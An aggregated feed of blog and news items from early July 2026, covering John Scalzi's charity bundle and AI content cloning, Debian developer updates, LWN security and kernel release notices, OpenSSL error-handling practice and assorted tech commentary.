Humble Bundle check-in:

The John Scalzi Collection Humble Bundle topped $7k raised for World Central Kitchen in (less than) one day, which isn’t bad considering that the bundle was released in the US on an actual national holiday and a Saturday, when most people would reasonably be away from their computers, and looking at their phones, well, less, anyway. We’ve got some time to keep things going with that, since the Bundle exists for another three weeks. I feel pretty good we’ll raise a decent amount for World Central Kitchen. Also remember that the percentage of the proceeds that come to me are going directly into the Scalzi Family Foundation, which we use to support local charities and organizations, and also various artistic/creative stuff. A whole lotta charity going on.

“AI” Being Terrible: Allow me to post a Bluesky thread here because I think it’s relevant and also should be archived somewhere. It’s about guitar YouTuber Rhett Shull finding out that his content is being cloned by an “AI” YouTube channel:

1. Been watching @rhettshull.bsky.social, dealing with an "AI" account that cloned a bunch of his stuff, by trying to file a complaint via the online forms and getting nowhere with it. There is an answer, which I know from experience: Actual Human Lawyers. youtu.be/ie3skZnsCMI

John Scalzi (@scalzi.com) 2026-07-05T00:33:20.862Z

2. A few years ago, there was a scammy Facebook ad that used a picture I took of Krissy, without either of our permission. I filed a copyright report, and got nearly exactly the same runaround Shull is now getting, down to the same verbiage for "more information," and then was denied action.

John Scalzi (@scalzi.com) 2026-07-05T00:33:20.863Z

3. So I handed the whole thing over to my Actual Human Lawyer, who sent a strongly worded email with words like "cease and desist" and "you are obliged by DMCA" and lo and behold, we were informed the offending ad was taken down, and indeed it was. Actual Human Lawyer for the win!

John Scalzi (@scalzi.com) 2026-07-05T00:33:20.864Z

4. Now, the use of an Actual Human Lawyer is not cheap, but unfortunately YouTube (and Facebook, and frankly any of the social media corporations) designed its online forms to avoid having to do much of anything, so you have to show up with something they can't actually avoid. Like: A lawyer.

John Scalzi (@scalzi.com) 2026-07-05T00:33:20.865Z

5. It's a sad fact of life that if you're big enough to be cloned by an "AI," you're probably big enough to need a lawyer. The good news is entertainment/IP lawyers are good for other things besides sending C&D notices, so you'll otherwise get value from them. But the fact is: you'll need them.

John Scalzi (@scalzi.com) 2026-07-05T00:33:20.866Z

6. Also, "AI" sucks and the dude running that "AI" channel leeching off Shull needs to die horribly of natural but undeniably unpleasant causes. Support Actual Human Creators, folks. It matters.Anyway, here's a cat to close off the thread. Real cat! Real photo!

John Scalzi (@scalzi.com) 2026-07-05T00:33:20.867Z

7. Oh! And! The email I sent to Facebook after they told me that they didn't think I had standing to file a DMCA notice. Because it's fun. My Actual Human Lawyer made them change their position, quickly.

John Scalzi (@scalzi.com) 2026-07-05T00:42:19.129Z

To reiterate, folks: Support actual human creators! It matters. Thanks.

— JS

16:07

Link [Scripting News]

I live in a place where the power goes out when there's a big storm. When the power comes back 15 hours later, you appreciate air conditioning in a whole new way.

Zuckerberg’s increasingly bizarre war on whistleblowers [Cory Doctorow's craphound.com]

Four female chorousters in sumptuous Renaissance robes. Each one's mouth has been stopped up by a Facebook 'thumbs up' icon. Behind them looms Mark Zuckerberg's grinning Metaverse avatar. The book they are reading from has flooded their faces with light. In the background is a sky full of ominous blue/red clouds.

This week on my podcast, I read Zuckerberg’s increasingly bizarre war on whistleblowers, about Mark Zuckerberg’s campaign of terror against the whistleblower Sarah Wynn-Williams.

More than a decade ago, a group of young, internet-connected Belarusian dissidents launched a series of increasingly high-stakes, increasingly surreal confrontations with the corrupt, authoritarian government of Alexander Lukashenka, a man who is often called “the last Soviet dictator.”

Lukashenka’s secret police – still called the KGB – routinely terrorize and kidnap pro-democracy activists, and all forms of protest are banned. It was against the backdrop of this unrelenting oppression that the activists launched a series of whimsical “flash mobs” that challenged the Lukashenka regime’s willingness to crack down on even the most innocuous behavior.

One of these flash mobs was an ice cream social: activists converged on a public square to eat ice cream cones. Lukashenka’s thugs beat them and dragged them away.

MP3

10:07

The urgency paradox [Seth's Blog]

The more often we succumb to the urgency of the moment, the more urgency we create.

The next minute is probably not the last minute, but when we treat it this way, it will be soon followed by another last minute.

08:49

Birger Schacht: Status update, June 2026 [Planet Debian]

Debian Related Work

  • Uploaded wofi 1.5.3-1 to unstable
  • Uploaded wob 0.16-1 to unstable
  • Uploaded labwc 0.20.0-1 and 0.20.1-1 to unstable; these releases come with support for wlroots-0.20, which made labwc reenter testing
  • Uploaded swaylock 1.8.5-2 to unstable to make it use the common-auth directive of pam (seeh #1140096)
  • Uploaded swayimg 5.4-1 to unstable
  • Uploaded wayback 0.3-2 to unstable, which was waiting in experimental for a reupload and I had forgotten about it; also fixed a typo in wayback upstream
  • Uploaded xdg-desktop-portal-wlr 0.8.3-1 to unstable

DH Related Work

The search app I was working on last month was still a focus in June. I refactored the data model a bit and made it simpler. I stumbled over the Python Koans and Koan 15: The Invisible Ink gave me the idea of using unicode normalization when indexing the items.

I released a couple of bug fix releases for the APIS framework, namely 0.64.2, 0.64.3 and 0.64.4. I also release 0.65.0 which is one step further in dropping support for the legacy apis_entities app. When the search module is merged it will give way for removing the last bits of the old cruft to be removed.

During a regular dependency update session I looked at the changes in the dal dependency. After a long time with no commits, the project suddenly had a lot of commits co-authored by Claude and then released a new major version with a regression. Given the state of the project, we decided to keep using the previous release for now and look into replacing the dependency with an HTMX based solution. I implemented a POC for one of the plugins we develop and it was actually pretty easy. I also managed to combine the autocomplete approach with a multi-select form field, based on this blog post.

In the PFP project I finally merged the stats endpoint which give statistics about the named graphs that are used as data sources.

Other

I attended BSidesVienna 0x7EA but it was on one of the hottest days this year so far so I left after a couple of talks.

Saturday, 04 July

21:00

The John Scalzi Collection Returns to Humble Bundle, Supporting World Central Kitchen [Whatever]

Starting today and going for the next three weeks or so, 22 of my books are up on Humble Bundle, and this time my selected charity is World Central Kitchen, which, true to the name, goes around the world, feeding people in disaster areas and war zones. They deserve the money! You deserve the books!

The titles in the bundle are mostly novels (including Starter Villain, appearing in a bundle for the first time), but there are a few shorter pieces as well. The bundle is for sure available in the US, and early reports are that it’s available in some but not all other places around the globe. Unrelated to the previous sentence entirely, I understand VPNs are pretty cool. There is no reason for me to have said that. It was a spontaneous utterance.

While World Central Kitchen is the designated charity this time out, and I encourage you to move the “Adjust Donation” sliders around when you get the bundle to make sure they are getting a good chunk of change from all y’all, I will note that 100% of my personal cut (which will come out of what’s sent to my publisher) is going to the Scalzi Family Foundation, which, as you may know, supports local charities and organizations as well as other endeavors. So there’s going to be a lot of charitable giving going on, however you manage the sliders.

Go check it out, fill out the gaps in your Scalzi collection, and if you do, thanks for supporting World Central Kitchen. They’re doing good work out in the world.

Here’s the link to the bundle page, one more time.

— JS

20:28

Returnal [Penny Arcade]

There is a very famous video during the console war of 2013 where Microsoft said a bunch of weird shit about DRM and watermarking games to your console and controlling software purchases after the fact. This video referenced above may be the most malevolent assault since Sega did what Nintendidn't. Just… blood everywhere. Gandalf suggested that a wizard is never late, nor are they early - they arrive precisely when they mean to. Microsoft's doom is that they are perpetually late, except when they're so early people don't even understand what the fuck they're talking about.

19:14

Adventures in Refrigeration, or, How We Have Become Possibly the Midwestest People Ever [Whatever]

Earlier this year we had a rather unfortunate incident involving our 25-year-old stand-up freezer, in which the condenser failed while the thing was full of frozen things, which quickly became rather disgustingly unfrozen. The clean-up was stinky and terrible and no fun at all. Also, we needed to get a new freezer.

Krissy got that new freezer a couple of days ago, and you can see it here, next to the drinks fridge we have in our garage — the drinks fridge being, as the name implies, an extra fridge used solely for the chilling of drinks, often located in the garage. The “drinks fridge” is a thing that is commonly associated with, although not exclusive to, the US Midwest, which of course Ohio is part of. We “got” ours a while back when Krissy redid the kitchen and got a newer fridge to match the remodel, and on the principle of “waste not, want not,” we relocated the perfectly functioning older fridge to the garage to start its life making our respective drinks nice and cold.

There was a problem, though, which was that over the course of time, my sodas started crowding out her preferred drinks, some alcoholic but some not, simply because I drink a lot of soda, and I like to have a variety of options available, so at any one time I’ll have several brands and flavors in the fridge, usually in their 12-pack cardboard containers, and that just takes up a lot of space. So when Krissy decided to put a second garage on our property (for her pickup truck, ride-on mower and other various yard and garden tools), she decided to deal with this issue for good. And thus, allow me to introduce you to our new, second, drinks fridge:

This second drinks fridge is actually really nicely located, because on the other side of that wall to the left is a really nice shaded patio area that Krissy had built onto the second garage, perfect for hanging out on while cracking open a cold one with her friends. Also, when Krissy is out mowing the lawn or doing other yard/garden work, having her sports drinks here will be handy because she’ll be in here anyway to get her mower and and other stuff. It’s reasonably sensible!

(Actually, this second drinks fridge is actually the third drinks fridge, because we have another, dorm-room sized, fridge in the main garage which is there to hold cold drinks for the delivery people who come to visit our house, next to a basket of snacks we have for them there as well. But this new one is officially the second drinks fridge because it is larger, and also because it’s for personal use.)

(Oh, and, while I’m thinking about it, we do have a second freezer as well, a chest unit that will live in our basement while the larger freezer will stay in the garage. That second freezer was given to us by a friend who upgraded their freezer choices and didn’t want it anymore, but it runs perfectly well, so, again, waste not, want not.)

Lots of people, particularly in the Midwest, have a “drinks fridge” and/or a dedicated freezer, but I think that our doubling up on both, and then some, puts us in rarified territory in terms of pure Midwesternness. We may, in fact, be the most Midwest people around, at least in terms of refrigeration. We shall wear this distinction lightly, with humility, and, always, with a cold drink in our hands.

— JS

18:56

Link [Scripting News]

I'm old enough to remember the Tall Ships in NY Harbor on this day in 1976, the bicentennial. As a NY kid, I wasn't very impressed. I liked rockets and rock bands, sound systems, had started programming then, was working in BASIC at Rapidata, a time sharing company with its office in the Empire State Building where I had my office on the 39th floor. The windows opened. This was betw Tulane and UW-Madison. I had no clue what was going on, but I had already come close to getting drafted. I had been raised to think the US absolutely was totally special, the best place, the rest of the world was far behind us. We were right to feel that way. It was the US vs the World and we won. I was born only 10 years after the end of WW II, so the feeling of power and righteousness was our foundation growing up, but also the certainty we'd all die in a nuclear holocaust. By 1976 we had had Watergate, the president was a crook, and were about to go through spiraling stagflation. Ronald Reagan. John Lennon killed. We had shit to deal with, worse in some ways than what we have today. Are we still the USA? We are if we decide we are. Anyway, my friend Jerry at the right wants to sing for you: "I'm Uncle Sam that's who I am been hiding out in a rock and roll band." We sing this song here every July 4, and it's always as true as it was in previous years. Freedom is something you practice.

18:21

Seven stable kernels for Saturday including two security fixes [LWN.net]

Greg Kroah-Hartman has announced the release of the 7.1.3, 6.18.38, 6.12.95, 6.6.144, 6.1.177, 5.15.211, and 5.10.260 stable kernels. Several kernels in this batch include a fix for a vulnerability introduced in the 6.0 kernel in IPv6 (CVE-2026-53362), which could allow an attacker to escape a container and gain root access.

There is also a fix for a use-after-free bug in KVM (CVE-2026-53359) that was introduced in the 2.6.36 kernel. As usual, each stable kernel includes a number of fixes throughout the tree. Users are advised to upgrade.

18:07

Link [Scripting News]

In the case of twitter-like systems the limits of the technology basically lost us the web, something most people are just now coming to grips with. At the time people were saying "RSS is dead," but didn't understand that it was killing off most of the features of HTML too. It was a slow process, like the frog in the boiling water story?

14:56

Steinar H. Gunderson: An update on sesse@chromium.org [Planet Debian]

As previously mentioned, I am leaving Chrome; my last work day was yesterday. (Sorry to those with July 3rd off that I didn't get to say goodbye to!) But I'm staying in Google, on more internal projects :-)

After 1100+ commits it's hard to pick out one thing that I love the most; as a team, we launched a lot of (IMO) useful CSS features and fixed a lot of issues. But somehow, I keep on gravitating towards performance, and perhaps this commit is the one I will remember the most fondly; a couple hundred lines to speed up repeated attribute selectors a lot. (If you ever wonder who would be doing that; well, there's a fairly high chance that you have an extension injecting a stylesheet with a lot of a[href*="..."] rules…)

Upwards and onwards. Please write lean, clean CSS; I won't be there to save you from now on. :-)

Tim Retout: AWS Washington Summit 2026 [Planet Debian]

I am somewhat jet-lagged, having returned from Washington DC just before the 250th anniversary celebrations which will be happening today. I was part of a delegation sent by my employer to the AWS Summit there this week, partly to kindle interactions between PA Consulting and Jacobs who have recently taken a 100% share in PA.

Much of our conference time was spent in meetings with AWS executives impressing the facts of the Jacobs/PA partnership upon them, and discussing plans to broaden our collaboration in different sectors. So I spent even less time than usual at conference keynotes, talks etc.

This was my first time to DC, and I did find some time to see some sights – unfortunately the White House is rather fenced off at the moment following the UFC match, but I did make it to the Capitol and the Washington Monument in the heat.

Last Sunday a select few of us attended the baseball in Baltimore – rather than the game, the thing that stood out for me was the military jets flying in formation over the stadium every few minutes, and the block-booked seats for the Navy in uniform, who were having a great time! This is obviously a hearts-and-minds thing, but it provides a stark contrast with the UK – I can’t think of a time I’ve seen uniformed military at the football (soccer) or cricket for example. Or Union Jacks flying at shopping centres.

Speaking of soccer, England just about beat DR Congo while I was out there, but it was a close-run thing as we were 1-0 down at half time. I can’t claim to be following the World Cup too closely, but I overheard comments (from US passers-by) that made clear it would have had a significant reputational impact on our standing in the world had we lost.

Another highlight for me was the Church of the Ascension and St. Agnes, where I was able to get my fix of Anglican plainchant and four-part harmony for the week. At morning prayer, I noted they use “God save this land” rather than “God save the King” during the responses – I’ve since found other sources online that choose “God save the State”. It’s strange to think that the words of the BCP dating back to 1549/1662 are a point of continuity since well before the 1776 declaration of independence, and yet are still adapted and used in worship today.

10:14

Freedom [Seth's Blog]

Freedom is responsibility with a sexier name.

250 years in, democracy still matters. Click to upvote the ones that resonate and please share.

Friday, 03 July

23:21

ReactOS implements very first NT6 system call [OSnews]

A fairly big moment for the ReactOS project: it has just received its very first system call from NT6.

The system call that has been added is NtGetCurrentProcessorNumberEx, which is used for returning the processor number of the logical processor that a caller is running on. It’s unclear how long it will take ReactOS to become compatible with Windows Vista software, but it took Microsoft around half a decade to develop Vista after the release of XP and marked a major upgrade, even if it didn’t land well with users at the time.

↫ Paul Hill at Neowin

It’s a milestone for sure, but not one that’s going to make a huge difference for ReactOS at this moment in time. Still, it’s a sign of things to come, even if the very nature of the ReactOS project means that whatever things are coming tend to take a while to arrive.

20:21

Update: Yup, It’s Hot [Whatever]

It’s currently 93 degrees here (Fahrenheit), but thanks to the humidity the heat index means it feels like 106 (41 Celsius), or so the weather report in my phone tells me, the one that also tells me we have an extreme heat warning through eight PM. I went out in this stuff because I checked the mail, and, yup, it’s really damn hot, the sort of hot that makes you basically want to fall down into a lump. I took the dog out so she could do her business; she took three steps into the yard and went whump into the grass. Two of the four cats have expressed interest in being outside at the moment. I told them no.

It’s been hot enough that I did something I haven’t had to do for a couple of years: Go to the basement and retrieve the portable AC unit that I used to bring into my office in the summer. I haven’t had to do that the last couple of years because we got new windows and a new HVAC, and between the two of those the house generally does a better job of keeping an even temperature, even during the summer. This heat dome, however, appears to have defeated that ability, and last night the upper floor of the house, where our bedroom is, was ten degrees warmer than the ground floor. Portable AC unit to the rescue. It’s staying up here for the duration.

If you’re caught under this heat dome I will give you the same advice I suspect you’d get from anyone sensible, which is: Stay out of the heat, hopefully somewhere with decent air conditioning, hydrate lots, and refrain from doing much outdoors while the sun is out, especially if it’s also humid where you are and your sweat won’t evaporate as readily as it otherwise might. Also keep your pets in if you can; they can’t sweat like you can and they’ll overheat pretty quickly.

The good news is that thunderstorms are rolling in late tonight and while they’re not going to bring down the temperatures all that much, they are expected to dip tomorrow from “actually dangerous” to “merely unpleasant.” I’ll take that, thank you.

How is it where you are?

— JS

20:07

Once Upon A Galaxy! [Penny Arcade]

Potent wisdom, delivered weekly - that's what #Fridabe is all about. Join us for another SponStream™️ with Once Upon A Galaxy!

(CW)TB

19:28

How did we conclude that CcNamespace.dll was the ringleader of a group of DLLs that unloaded prematurely? [The Old New Thing]

When I presented my study of a crash caused by a thread executing from an unloaded third-party DLL, someone asked how I concluded that CcNamespace.dll was the ringleader of the family of related DLLs.

The list of recently-unloaded DLLs is recorded in a circular history.¹ So when you see a bunch of DLLs listed in a row, they were unloaded one after the other.²

00007ff9`6d7c0000 00007ff9`6d80a000   FabrikamContextMenu.dll
00007ff9`115e0000 00007ff9`1172f000   LitWareSync.dll
00007ff9`643d0000 00007ff9`64681000   CcNamespace.dll
00000000`55440000 00000000`5550b000   LibDB_CloudNs_3.dll
00000000`55860000 00000000`55998000   LibNet_CloudNs_3.dll
00000000`557f0000 00000000`5585b000   LibJson_CloudNs_3.dll
00000000`55510000 00000000`557e7000   LibUtils_CloudNs_3.dll
00000000`561a0000 00000000`56238000   MSVCP100.dll
00000000`56240000 00000000`56312000   MSVCR100.dll
00007ff9`85130000 00007ff9`85167000   EhStorShell.dll
00007ff9`3cac0000 00007ff9`3cb61000   wpdshext.dll
00007ff9`78a00000 00007ff9`78a26000   EhStorAPI.dll
00007ff9`686f0000 00007ff9`68754000   PlayToDevice.dll
00007ff9`67110000 00007ff9`6718d000   provsvc.dll

From the similar names, it’s clear that the Lib⟦...⟧.CloudNs.3.dll DLLs are all closely related.

The name CcNamespace.dll sort of lines up, if you imagine that Cc stands for “Contoso Cloud” and the Ns in the other DLL names is short for “Namespace”.

I’m not sure whether the unloaded DLLs list is in forward or reverse chronological order, but it turns out that it’s not important for this analysis: The CcNamespace.dll was either the first or last to unload, and the fact that its name is slightly different from the others adds weight to the theory that it was the linchpin that held together the entire family of DLLs.

Why does having a slightly different name factor into it?

The other DLLs seem to be coming from a library of helper DLLs that this company uses and reuses. The one with a slightly different name is the front man, who is assembling a team of assistants from the other DLLs. It’s like when you attend a wedding reception or other fancy event, you can identify the person in charge of the service staff because they are dressed slightly differently from the others. And you can imagine that if there was some need for the staff to gather together and walk single file, the person in charge would probably be at the front or the end of the line.

Spotting the slightly different name at the start or end of the list is not proof, but it’s very strong evidence. And we were able to verify this theory by installing a copy of Contoso Cloud from the application compatibility library and seeing which DLL was registered as the namespace extension DLL.

¹ The debugger just adds each unloaded DLL to the array, and when it reaches the end of the array, the “where to put the next DLL” wraps around back to the top of the array. Unfortunately, there is no indication in the debugger where the “where to put the next DLL” pointer is.

² Even they are sequential, you don’t know how much time has elapsed between them.

The post How did we conclude that <TT>CcNamespace.dll</TT> was the ringleader of a group of DLLs that unloaded prematurely? appeared first on The Old New Thing.

17:56

Julian Andres Klode: The pandemic of incomplete OpenSSL error handling [Planet Debian]

Recently a person reported a bug in APT saying that TLS is failing on FIPS systems with MD5 errors, and suggested we call ERR_clear_error() around TLS operations.

Like any serious software engineer would do, I said No. Just because one component failed to handle its errors does not mean I can go around and discard all errors in another place - the program should have failed earlier (or discarded the error when it was determined to be safe).

Little did I know that people have for years been using this approach as a best practice: Codebases everywhere are littered with calls to ERR_clear_error() before performing TLS, and upstream themselves suggest to do just that.

This is a major, systemic, pandemic of incomplete error handling. We cannot just discard unrelated errors if they become inconvenient. The code that caused the error needs to be fixed to handle it.

This isn’t all. It seems many authors are not familiar with libraries using a stack of errors, and there is a second anti-pattern:

Call an OpenSSL operation, check the top-level error, and then discard all errors if deemed “not too bad”. This has the same problem: Unrelated errors get silently discarded.

I would strongly encourage everyone to inspect their code bases for any calls to ERR_clear_error() and whether they are safe or one of the bad patterns above (or maybe you find a new pattern). You may want to use error stack functionality ofERR_set_mark (https://docs.openssl.org/3.4/man3/ERR_set_mark/) to essentially “push” and “pop” an error context of your own as a guard around multiple OpenSSL operations.

To the OpenSSL authors, I would suggest not encouraging devastating security practices that fundamentally break any trust in software.

We need to do better than this.

17:35

Four vulnerabilities in Guix [LWN.net]

The GNU Guix project has announced three vulnerabilities in the guix substitute utility as well as a fourth that affects the guix pull and guix time-machine commands. The impact of the vulnerabilities ranges from remote privilege escalation to local disclosure of sensitive files.

The remote exploitation of guix substitute only requires that the vulnerable system attempt to download a binary substitute. Any configured substitute server, including ones discovered using guix-daemon's --discover option, can exploit this, and so can a man-in-the-middle (MITM), regardless of whether https is used in the substitute server urls.

The local exploitation of guix substitute only requires the ability to connect to guix-daemon's socket, which by default any user can do.

Separately, another security issue (CVE ID pending) was identified in guix pull and guix time-machine, which enables anyone who can control the channels file used by these commands to cause a file to be created or overwritten wherever the user running the command in question has permission to create them.

The project is recommending that all users upgrade guix and guix-daemon immediately. See the announcement for instructions, how to test for the vulnerabilities, the disclosure timeline, and more.

15:35

07/03/26 [Flipside]

Hello again! I've still been spending all day working on the new sections of the website. I think it's mostly done now. If you want to see what it looks like, scroll to the bottom of this page and look for something that stands out!

Also, I'll be at Anime Midwest today through Sunday, in artist alley! https://animemidwest.com/

See if you can find the following: The Graveyard Page, The Attraction Shrine, The Secret Stairs, the hidden Features page, the enhanced 404 page (no new map yet), and the new Secret Audio page.

Also, on the main page page, click on "Click here to see Past Updates" at the bottom of newsposts, scroll down and click on the bottom ?? update to see the new and improved April Fools archive.

15:21

[$] Limiting negative dentries [LWN.net]

A number of problems related to negative directory entries (dentries) were the topic of a filesystem-track session at the 2026 Linux Storage, Filesystem, Memory Management, and BPF Summit. Negative dentries are used to indicate that a file of a given name does not exist in a directory; it is an optimization that short-circuits the lookup of the file name when the answer is already known. Miklos Szeredi led a session that discussed some problems that come from having too many negative dentries for a directory.

14:35

Security updates for Friday [LWN.net]

Security updates have been issued by AlmaLinux (389-ds-base, bind9.18, evince, fence-agents, freerdp, frr, frr10, gimp, gnutls, hplip, jmc, mariadb:11.8, mysql:8.4, php:7.4, postgresql-jdbc, postgresql:15, postgresql:16, valkey, xorg-x11-server, and xorg-x11-server-Xwayland), Debian (fastnetmon), Fedora (7zip, apptainer, cpp-httplib, mysql8.4, and nmap), Oracle (freerdp, giflib, glib2, glibc, kernel, libreoffice, libvirt, mariadb:10.11, postgresql, python3.11, python3.12, rrdtool, and thunderbird), Red Hat (buildah, podman, and skopeo), SUSE (alloy, apache2, buildah, c3p0, containerd, crun, cups, dhcpcd, dnsmasq, docker-stable, dracut, editorconfig-core-c, ffmpeg-7, fontforge, google-guest-agent, google-osconfig-agent, graphicsmagick, gstreamer-plugins-bad, gstreamer-plugins-good, helm, jackson-annotations, jackson-core, jackson-databind, jline3, kernel, kubectl-cnpg, lcms2, libslirp, libssh2_org, libxreaderdocument3, openbabel, openssl-3, pacemaker, perl-CGI-Session, perl-list-someutils-xs, python-lxml, python-tornado, python-tornado6, python3-onionshare, python311-python-engineio, sg3_utils, thunderbird, transmission, and trivy), and Ubuntu (cifs-utils, kernel, libvncserver, linux-aws-6.8, linux-gcp-6.8, linux-gke, linux-gkeop, linux-ibm-6.8, linux-nvidia-lowlatency, linux-oracle-6.8, linux-lowlatency, linux-lowlatency-hwe-6.8, linux-nvidia-tegra, linux-oracle-5.15, linux-raspi, linux-xilinx, nghttp2, nginx, perl, and vim).

14:00

Microsoft settles centuries of religious debate by providing clearest definition of hell to date: Windows with a website-based shell running only Copilot [OSnews]

For how often people invoke it, the concept of “hell” in Christianity is remarkably vague and nebulous, as both the Old and New Testament barely go into detail about the concept. As such, I’m glad Microsoft has now given us a clear vision of hell and what, exactly, it looks like, ending centuries of denominational disagreements.

Microsoft is currently selling the idea of Windows and Copilot as two separate things: an OS and an assistant riding along on top of it. However, a leaked video shows Project Aion, an internal prototype where Copilot doesn’t just sit inside Windows, it becomes Windows, swallowing the Start menu, the taskbar, and three decades of desktop conventions in the process. The footage is reportedly two years old, so Aion is most likely dead by now. But it’s the clearest look yet at how far Microsoft was willing to take its agentic AI ambitions.

↫ Alfonso Maruccia at Techspot

Everything about this is dreadful. Obviously replacing the entire shell with “AI” nonsense is the main crime against usability here, but on top of that, this new shell is all just websites, all the way down, so everything is slow and stuttery. Since this runs on something called “Win3”, which appears to be a very minimal, stripped-down version of Windows intended to only run the Edge browser engine, you can’t run Win32 applications. If you do try to run a Win32 application, it will load the application in a remote virtual machine running in the cloud, which I;m sure does wonder for performance, responsiveness, and latency.

We can all thank the lord this project is two years old and most likely cancelled by now, but we have no way of knowing if Microsoft is still intending for this to be the future direction of Windows. Since people don’t want to use “AI” of their own volition, it only makes sense in the technology industry’s sick, twisted mind to force people into using “AI” with efforts like this. Consent has never been Silicon Valley’s strength, after all.

At the time of writing, Microsoft is 225 billion dollars in the red on “AI”, so I wouldn’t be surprised if attempts to replace the regular Explorer shell with something “AI”-based is still very much on the table in Redmond.

13:56

Link [Scripting News]

I need new podcasts. The only one I listen to regularly now is the Bill Simmons podcast, but that's because the Knicks won and the NBA is re-forming itself around the Knicks. It's so freaking unusual to have your team, which was once right up there with Charlotte, New Orleans, Portland, Washington, Memphis, in the very the bottom rung of the NBA, to have them be the model everyone is chasing with the qualification that no one expects it to last (I don't care if it does, I love this team, the're as memorable as the 1973 champs), but all of a sudden Bill Simmons is respectful. I can't listen to a podcast of Democratic consultants, or Republican consultants that vote Democratic now. I did listen to them on the lead-up to the election in 2024. But whatever happens in the sport of elections the Democrats as they were before 2024, the one that re-nominated Biden and then switched to Harris and lost a race that should have been an easy win, are over. Those Democrats still think people will vote for well-executed government. Some people will (me, for example) but enough people see the election as Reality TV, so you want someone who looks like a winner in that context. The world has changed in so many ways and the Dems haven't even caught up with the change brought about by blogging and podcasting. Now we have Claude. I probably would vote for Claude too. I don't know. Anyway I'm warmed up now. Onto my day's work with the aforementioned Claude.

Claude's face as visualized by ChatGPT [Scripting News]

I asked ChatGPT for this. "If we had a talking head version of ChatGPT, a human-like image of a person that spoke Claude's words what would it look like?"

Claude's words coming through ChatGPT's image.

There was a typo, I typed Claude when I meant ChatGPT. So I asked it correctly, with ChatGPT both times. Except I forgot to ask for an image, and got the text behind the image which is generous and revealing. I would vote for a politician who was this honorable, generous and idealistic, a modern day John McCain.

Claude speaking from Claude's head, described in words by ChatGPT.

Then I asked for ChatGPT for an image of ChatGPT talking head.

ChatGPT's self-visualized talking head.

Final image, Claude head speaking for Claude AI as an image.

Claude speaking for Claude as rendered by ChatGPT.

13:21

Error'd: Kaids Hen 2025 [The Daily WTF]

On the recurring transport beat, this week brings us a handful of wtfs relating to mass transit. Nothing private.

"Thank you for traveling with Deutsche Bahn" sneers Philipp H. bitterly, explaining "The German railroad company sadly is famous for often being late and also has lots of other issues. While booking my next trip I'm asked to pick my seats for the reservation. - Looks like they now stack seats on each other or on the table. - hopefully the seats facing the wall at least have a window there. - winning the jackpot lottery also seems more likely than understanding their seat numbering system."

1f2002fe488641a18f86f36d3c3530b0

"Whöøps!" wröte Adrien K. metallically. "Other monitors on that train were fine. It's just this one which refused to display unicode characters correctly."

35c86ef3f32645b9b26bbe8c1d48d14a

"Trains slashdotted" Peter G. "Looks like the train has been slashdotted..."

6ce6b2f1c9ea41318bf229c8c9731c3d

Ernesto reports a simple typo, included here because it relates to a story I have long found both sobering and inspiring. He relates: "Translated from Italian, this reads "We got to come back a few years. Exactly back to July 19th, 2989 ..." Italian source. The news was about a plane crash with some deaths, not the best argument for joking. But the author's finger slipped a little bit and we're going back to the future. The bright side, the article tells how 185 passengers out of 296 survived thanks to the pilots."
Despite the tragic loss of life, it is an astounding story of skill and teamwork. If you're unfamiliar, the English Wikipedia is here.

708696118d8d4242922bade1f75bf55a

On a more light-hearted note, Michael R. sent in a photo of a heavily-modified double-decker Delorean, which proposes to deliver passengers before they board. That must have been some party to inspire repeat visits!

a586fca1db4a439b84ce7ad53bd7786a

[Advertisement] ProGet’s got you covered with security and access controls on your NuGet feeds. Learn more.

13:14

Colin Watson: Free software activity in June 2026 [Planet Debian]

My Debian contributions this month were all sponsored by Freexian.

You can also support my work directly via Liberapay or GitHub Sponsors. Thanks to new sponsor @fernandocc17!

bugs.debian.org documentation

Sometimes I ask users to file bugs upstream themselves because I think they’d be better placed to have the ensuing discussion with the upstream maintainers directly rather than everything having to go through me. Of course sometimes they don’t want to do so, perhaps because it requires creating another account somewhere. Rarely, I’ve had people refuse to do this because the letter of the bug tracking system’s documentation seemed to tell them not to. Since I don’t believe that was the intention, I corrected this.

OpenSSH

I spent two and a half hours extensively revising debian/copyright so that lrc believes it to be in sync with the output of licensecheck. I’m unconvinced that this was remotely worth the mind-numbing effort - as far as I can tell, it makes no difference to the practical legal position, to policy compliance, or to any reasonable user - but the DFSG team increasingly seems to be objecting to any discrepancies here any time a package crosses their radar, so this was a pre-emptive measure to avoid problems with some upcoming trips through the NEW queue.

OpenSSL 4.0

I fielded a few of the OpenSSL 4.0 build failure bugs:

Python packaging

New upstream versions:

pytest 9.1 was uploaded to unstable this month, resulting in quite a few new build/test failure bugs. I tried to keep on top of as many of these as I could; most of them had one of a small number of similar causes.

Python 3.14 became the default Python version in unstable towards the end of the month, starting a transition. These usually involve quite a bit of work, and there’s much more to do, but I fixed a few things:

Other build/test failures:

Other bugs:

Rust packaging

New upstream versions:

Code reviews

Other bits and pieces

Vulkan-netbsd brings Vulkan to NetBSD [OSnews]

NetBSD is the only BSD without a Vulkan stack (Mesa and Lavapipe), but that’s about to change. The effort to bring Vulkan to NetBSD is now in beta, with prebuilt binaries coming soon.

Mesa configures, compiles, links, installs, and registers the Lavapipe software Vulkan driver on NetBSD 10.1 amd64, against LLVM 19.1.7. The driver (libvulkan_lvp.so, ~17 MB) installs into /usr/pkg/lib, and its ICD manifest (advertising Vulkan API 1.4) installs into /usr/pkg/share/vulkan/icd.d/, so a Vulkan loader on the system can discover it. ldd resolves every dependency cleanly. The entire process — environment setup, dependency builds, the Mesa build, and installation — is automated end to end and reproducible on a fresh install.

↫ vulkan-netbsd GitHub page

It’s important to note that the next step in the process is to port the Vulkan loader, which is required to actually run Vulkan applications. This entire effort is still ongoing and seems to be handled mostly by Dean Howell alone, so expect breakage and incomplete documentation as development progresses. Still, this is a hugely important effort, and seeing it this far along is great news.

EveryMac celebrates 30th birthday [OSnews]

EveryMac turned 30.

On July 2, 1996, EveryMac.com launched.

Thirty years is a long time — and a great deal has changed since then — but what has not changed is that EveryMac.com has been there to provide you with detailed info on every Mac from the original 128k to the current line. Thank you very much for your support through the years.

↫ EveryMac news item

I thought OSNews was pretty unique with its founding in 1997, so it’s great to see another enthusiast’s website as old as ours. Amazing company to be in, too – EveryMac is an indispensable, tirelessly maintained, and stupidly accurate resource that I use countless times each year. Here’s to another 30 years.

12:56

Flock Cameras Can Surveil Cars Without License Plates [Schneier on Security]

This is from a 2024 company presentation:

Officers can also tap into data showing a car’s decals, bumper stickers, back and top racks—along with temporary and unique state tags.

Flock calls it a “Vehicle Fingerprint” and it’s touted as a way for law enforcement officials to get more information “even when you don’t have full plate information,” the company’s presentation shows.

